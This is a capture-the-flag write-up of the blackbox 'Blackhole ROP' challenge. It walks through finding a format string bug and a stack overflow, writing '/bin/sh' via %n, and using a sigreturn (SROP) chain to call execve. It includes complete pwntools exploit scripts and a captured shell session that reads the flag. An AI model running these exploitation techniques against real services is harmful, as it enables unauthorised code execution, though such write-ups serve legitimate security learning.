# Blackhole ROP
The description of this challenge was as follows:
*yes, its intended to be solved without the binary*
It was still worth 464 points at the end of the competition, which made it one of the harder challenges. As the description implies, no downloadables whatsoever were provided; you only got the netcat connection, making this what is commonly referred to as a blackbox pwn exercise. It was a fun little challenge, and the solution I ultimately implemented uses the techniques of using a format string to overwrite data and using the SIGROP technique to fill registers.
**TL;DR Solution:** Mess with the netcat connection to find that the input seems to simultaneously suffer from a format string vulnerability and some sort of probable stack overflow vulnerability. Use the leaked address of writable memory as a place to use the format string to write '/bin/sh' to, then use the "pop rax" and "syscall" gadgets to implement a SIGROP and call execve(), with the address you wrote '/bin/sh' to in rdi.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/space_heroes_22/Blackhole%20ROP
## Understanding the Program:
My first step on a binary exploitation challenge is to run the program to see what it does. Since I have no binary file, this is especially important since it's one of the only way to at least sort of reverse-engineer the program. When I connect to the netcat connection, I see that it is giving me three leaks for free, which are for a "pop rax ; ret" gadget, a "syscall ; ret" gadget, and the address of some writable memory in the binary. The specific sizes of those addresses imply that this is an x86-64 binary, and the PIE is not being used. I then tried some different inputs to see if anything interesting happened. Once it was clear that my inputs get printed back to the console, I tried a format string of "%p" to see what got printed back; the result was that an address got printed back, which indicated that the input has a format string vulnerability. Since the title of this challenge includes ROP, it then made sense to try to get an overflow. This seems to have worked; I just need to try to figure out the required payload size.```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/space_heroes$ nc 0.cloud.chals.io 12655
                                                      llllooooooolllllll                                              llloodddddddddddddoooooooooll                                       lllloooddddddddddddddddooooooooooool                                  llooodddddddddxxxxxkkkkkkxxddoooooooolll                             lloooddddddxxxxkOOOOOO000000OOkxxdddoooolllll                        llloodddddxxxkkOOO0000000KKKKKK000Okxddddoooolll                     lllooddxxxxkkOOOOO0000OOOOOOOOO00KK00Oxddddddoooll                  llloodxxxxkkOOOOOOkkxdddoooolllllloxO000kxddoddddoll               lloooodxkkkOOOOOOkdol         ''....'  x00Oxdddoooooll             looooodxkOOOOOkxdol   '''.........     . kOkxddoooooll          llooooddxkOO00Okdl   '.........            xOkxddooooool        loooooddxkOOOOkxo  '..... ....            . xkxdoooooool      looooddxxkkOOOOxl  .......                . oxxdooooolll    loddddddxxxkOOOkd  ...                    ' oxxdooooooll   lodddoddxxxkOO0Oxl '.                  .' ldxddoooooolll  loodddoddxxkkOOOOxo  ..           ..'   odddddoooooooll lodddddoddxxkkkOOOOkdl  '......'   odxxdddddoooooollllloddddddooddxxxxkkkOkkkkxxxddddxxxxxxdddooooollllllooddddddddddddxxxxxxxxxxxdddddddddddoooolllllllloooooooooooddddxxxxxxxdddddddoooollll looooooooddddddddxddddddddddooolll  llllooooooooooooooooooooooollll    llllllooooolllll       lllll---------------------------------------------------------------------------- ~ Welcome to Black Hole ROP ~----------------------------------------------------------------------------<<< Address of syscall, ret    : 0x4013bb<<< Address of writable memory : 0x666000<<< Address of pop rax, ret    : 0x4013c5----------------------------------------------------------------------------
>>> aaaaaaa
<<< You say: aaaaaaa>>> %p
<<< You say: 0x7ffcff0b9870>>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<<< You say: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab```Next, I tried to figure out the length of the pad. I ended up just doing a while loop with increasingly large sendlines and seeing what size produced a crash.```from pwn import *
target = remote('0.cloud.chals.io', 12655)
syscall = 0x4013bbwriteable_area = 0x666000pop_rax = 0x4013c5
print(target.recvuntil(b'<<< Address of pop rax, ret    : 0x4013c5'))i = 1while True:     target.sendline(b'a' * i)    print(target.recvuntil(b'<<< You say:'))    print(i)    i += 1
target.interactive()```That size was 40. This seems like it's probably correct; padding in an x86-64 binary is typically divisible by 8, which this is. Once we have a payload that should do something visible, we can test the padding's size out!```...b' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n>>> \n<<< You say:'36b' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n>>> \n<<< You say:'37b' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n>>> \n<<< You say:'38b' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n>>> \n<<< You say:'39b' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n>>> \n<<< You say:'40b' aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa----------------------------------------------------------------------------\n<<< Address of syscall, ret    : 0x4013bb\n<<< Address of writable memory : 0x666000\n<<< Address of pop rax, ret    : 0x4013c5\n----------------------------------------------------------------------------\n\n>>> \n<<< You say:'41Traceback (most recent call last):  File "blackhole_rop_writeup.py", line 15, in <module>    print(target.recvuntil(b'<<< You say:'))  File "/home/knittingirl/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 333, in recvuntil    res = self.recv(timeout=self.timeout)  File "/home/knittingirl/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 105, in recv    return self._recv(numb, timeout) or b''  File "/home/knittingirl/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 183, in _recv    if not self.buffer and not self._fillbuffer(timeout):  File "/home/knittingirl/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer    data = self.recv_raw(self.buffer.get_fill_size())  File "/home/knittingirl/.local/lib/python3.8/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw    raise EOFErrorEOFError[*] Closed connection to 0.cloud.chals.io port 12655```## Writing the Exploit:
### What is SIGROP?
Two of the leaked gadgets give us: #1: Control of the rax register, #2. The ability to do a syscall. Conveniently, this is also everything that we need to do a SIGROP attack. 
SIGROP works by setting rax to 0xf and triggering a syscall; in the x86-64 architecture, this triggers a sigreturn syscall, which will fill every register with content from the stack in a predictable fashion. This means that by setting up a ROPchain to trigger the sigreturn, and adding a large amount of data to the stack after the syscall to be loaded into the stack, you can essentially gain control over any and all registers. This includes the instruction pointer of rip, which can be filled with a function pointer, including a syscall, and which will be executed after the sigreturn when all of the other registers are filled.
The obvious end goal with a SIGROP is to call execve('/bin/sh', 0, 0). The appropach gives us all the needed control over the function parameters and the ability to call the execve syscall; the main hurdle in this case is that we do not have a location for '/bin/sh' in the binary, and we would need to pass an address that stores the string to rdi for the syscall to pop a shell.
### Format String to Write '/bin/sh'
There are two main aspects of this binary that are not strictly necessary for SIGROP, but that can fix the lack of '/bin/sh'. Firstly, we have the address of a writable section of memory, to which '/bin/sh' could be written. Secondly, we have a format string vulnerability; while format strings are often used to leak data from a binary, the %n format string can also be used to write to sections of memory with appropriate permission. Specifically, '%n' prints the number of characters already printed to the address specified. This means that I can convert each letter in the '/bin/sh' string to its corresponding number from ascii, use %+number+x to print number characters, and follow it by an appropriate %n format string that is lined up with the writable area's address. To this end, I created a custom helper function in pwntools to write the whole string to the writable area one byte at a time, then I read from the affected address using the %s format string to make sure that it worked. Here is the relevant bit of code:```def write_to_writable(string, writable_area):    for i in range(len(string)):        payload = b'%' + str(ord(string[i])).encode('ascii') + b'x%8$n'         payload += b'c' * (16 - len(payload))  + p64(writable_area + i)        target.sendline(payload)        print(target.recvuntil(b'You say'))
print(target.recvuntil(b'<<< Address of pop rax, ret    : 0x4013c5'))
write_to_writable('/bin/sh', writable_area)
#Just me checking that the write worked.payload = b'%8$s' + b'\x00' * 12 + p64(writable_area)target.sendline(payload)
target.interactive()```And here is a snippet of the results:```c\x03`f\n>>> \n<<< You say'b':                                        31f083b0cccccccc\x04`f\n>>> \n<<< You say'b':                                                                                                            31f083b0ccccccc\x05`f\n>>> \n<<< You say'[*] Switching to interactive mode:                                                                                                 31f083b0ccccccc\x06f>>><<< You say: /bin/sh>>> $```We can officially write '/bin/sh' to the binary, so the SIGROP should now be viable.
### Pulling it All Together
At this point, the exploit is pretty simple to write, with the help of pwntools. First, I need to get '/bin/sh' in the writable area, as described above. Second, I write a small ROP chain that places 0xf in rax using the pop gadget, then calls syscall. Finally, I set up the stack so that the registers work out after the sigreturn to call execve('/bin/sh', 0, 0). To do this, I need to set rdi to the address that now contains '/bin/sh', rsi and rdx to 0, rax to 0x3b to specify the execve syscall, and rip to the syscall gadget so that it is jumped to immediately after the sigreturn. This would be difficult to set manually, especially with no ability to debug the program; fortunately, pwntools offers the ability to set up a stack frame in which register contents can be specified, and then the whole thing can be placed after the sigreturn syscall. The full script is below:```from pwn import *
target = remote('0.cloud.chals.io', 12655)
syscall = 0x4013bbwritable_area = 0x666000pop_rax = 0x4013c5
def write_to_writable(string, writable_area):    for i in range(len(string)):        payload = b'%' + str(ord(string[i])).encode('ascii') + b'x%8$n'         payload += b'c' * (16 - len(payload))  + p64(writable_area + i)        target.sendline(payload)        print(target.recvuntil(b'You say'))
print(target.recvuntil(b'<<< Address of pop rax, ret    : 0x4013c5'))
write_to_writable('/bin/sh', writable_area)
#Just me checking that the write worked.payload = b'%8$s' + b'\x00' * 12 + p64(writable_area)target.sendline(payload)
print(target.recvuntil(b'You say'))
padding = b'a' * 40payload = padding payload += p64(pop_rax)payload += p64(0xf)payload += p64(syscall)
context.arch = "amd64"
frame = SigreturnFrame()
frame.rip = syscallframe.rax = 0x3bframe.rdi = writable_areaframe.rsi = 0frame.rdx = 0payload += bytes(frame)target.sendline(payload)
target.interactive()```And here is how it looks when run against the netcat connection:```knittingirl@DESKTOP-C54EFL6:/mnt/c/Users/Owner/Desktop/CTF_Files/space_heroes$ python3 blackhole_rop_writeup.py[+] Opening connection to 0.cloud.chals.io on port 12655: Doneb"                                                                           \n                                                      llllooooooolllllll   \n                                              llloodddddddddddddoooooooooll\n                                       lllloooddddddddddddddddooooooooooool\n                                  llooodddddddddxxxxxkkkkkkxxddoooooooolll \n                             lloooddddddxxxxkOOOOOO000000OOkxxdddoooolllll \n                        llloodddddxxxkkOOO0000000KKKKKK000Okxddddoooolll   \n                     lllooddxxxxkkOOOOO0000OOOOOOOOO00KK00Oxddddddoooll    \n                  llloodxxxxkkOOOOOOkkxdddoooolllllloxO000kxddoddddoll     \n               lloooodxkkkOOOOOOkdol         ''....'  x00Oxdddoooooll      \n             looooodxkOOOOOkxdol   '''.........     . kOkxddoooooll        \n          llooooddxkOO00Okdl   '.........            xOkxddooooool         \n        loooooddxkOOOOkxo  '..... ....            . xkxdoooooool           \n      looooddxxkkOOOOxl  .......                . oxxdooooolll             \n    loddddddxxxkOOOkd  ...                    ' oxxdooooooll               \n   lodddoddxxxkOO0Oxl '.                  .' ldxddoooooolll                \n  loodddoddxxkkOOOOxo  ..           ..'   odddddoooooooll                  \n lodddddoddxxkkkOOOOkdl  '......'   odxxdddddoooooolll                     \nlloddddddooddxxxxkkkOkkkkxxxddddxxxxxxdddooooollll                         \nllooddddddddddddxxxxxxxxxxxdddddddddddoooolllll                            \nllloooooooooooddddxxxxxxxdddddddoooollll l                                 \nooooooooddddddddxddddddddddooolll  lll                                     \nlooooooooooooooooooooooollll                                               \n    llllllooooolllll                                                       \n       lllll                                                               \n----------------------------------------------------------------------------\n ~ Welcome to Black Hole ROP ~ \n----------------------------------------------------------------------------\n<<< Address of syscall, ret    : 0x4013bb\n<<< Address of writable memory : 0x666000\n<<< Address of pop rax, ret    : 0x4013c5"b'\n----------------------------------------------------------------------------\n\n>>> \n<<< You say'b':                                         5fa9bf0cccccccc\n>>> \n<<< You say'b':                                                                                            5fa9bf0cccccccc\x01`f\n>>> \n<<< You say'b':                                                                                                   5fa9bf0ccccccc\x02`f\n>>> \n<<< You say'b':                                                                                                        5fa9bf0ccccccc\x03`f\n>>> \n<<< You say'b':                                         5fa9bf0cccccccc\x04`f\n>>> \n<<< You say'b':                                                                                                             5fa9bf0ccccccc\x05`f\n>>> \n<<< You say'b':                                                                                                  5fa9bf0ccccccc\x06`f\n>>> \n<<< You say'[*] Switching to interactive mode: /bin/sh>>><<< You say: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc5ls-banner_failbinblackholebootdevetcflag.txthomeliblib32lib64libx32mediamntoptprocrootrunsbinservice.confsrvsystmpusrvarwrapper$ cat flag.txtshctf{1-hAs-4-ngul4riTy-coNtain3d-w1thin-a-r3g1on-oF-sp4c3}```Thanks for reading!